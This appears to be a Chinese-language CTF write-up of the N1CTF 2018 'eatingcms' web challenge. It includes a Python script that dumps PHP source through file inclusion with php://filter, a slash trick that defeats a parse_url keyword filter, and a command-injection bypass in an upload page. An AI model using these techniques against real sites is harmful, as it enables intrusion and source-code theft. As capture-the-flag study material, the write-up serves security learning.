n1ctf-2018-web

Posted by CoCo1er on 2019-09-03
Words 673 and Reading Time 2 Minutes
Viewed Times

n1ctf-2018-eatingcms

拿到题目一个登录界面,首先是先测注入。尝试了一下发现基本都过滤了,无果。

御剑扫一下目录扫出了一个register.php,发现可以注册账号,随便注册了一个账号登录进去。

进去看了半天没有思路,退出来尝试注册界面的注册发现也没用,想过以管理员注册也没有用。

(百度查了一下思路..竟然是page处存在文件包含…果然是太年轻了..根本没注意到这个点,其实想一想开发角度可以理解)

http://47.112.16.34:22231/user.php?page=guest

把page换成php://filter去读取源码

顺手写了一个脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -*- coding: utf-8 -*-
# Python3
import requests
import base64

url = "http://47.112.16.34:22231/user.php?page="
payload = "php://filter/read=convert.base64-encode/resource={}"
headers={
'User-Agent': "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
'Cookie':"PHPSESSID=l9mlo2iht6fpo2lkmubof4udv6"
}

def output(filename,results):
with open(filename,'w') as f:
f.write(results)
f.close()


def getsource(new_url,line):
print(new_url)
response = requests.get(new_url,headers=headers)
print (base64.b64decode(response.text).decode(encoding="utf-8"))
results = base64.b64decode(response.text).decode(encoding="utf-8")
output(line,results)


if __name__ == '__main__':
with open('字典.txt','r') as f:
while True:
line = f.readline()[:-1] #去除\n
print(line)
if line:
new_url = (url+payload).format(line)
getsource(new_url,line)
else:
break

cookie和字典自己构造换一下(字典给当前目录下的就好,拿/去写的路径字典没处理)

在function.php中找到关键词

$keywords = [“flag”,”manage”,”ffffllllaaaaggg”];

既然不让看这几个就说明肯定有猫腻

看到parse_url,之前做过一个题绕过parse_url即可加一堆斜杠造成其解析错误绕过

进而找到

http://47.112.16.34:22231//////user.php?page=m4aaannngggeee

在此我们发现一个上传路径。随手传了一张图片发现跳转到

http://47.112.16.34:22231//////upllloadddd.php

于是拿到upllloadddd.php的源码

发现其中有system,是个命令注入绕过

ls发现由于后面的管道把内容加密成了base64,解码发现ls执行成功,即这个注入不存在什么绕过点,唯一优化一点就是把后面的base64绕过不用自己去解码。

输出空串作用于管道可以绕过。

最后flag在父目录下

总结一下这个题的考点:

  • 敏感参数测试出文件包含
  • 文件包含利用php://filter读取源码
  • 用一堆斜杠造成parse_url的解析错误利用
  • 命令注入(绕过管道)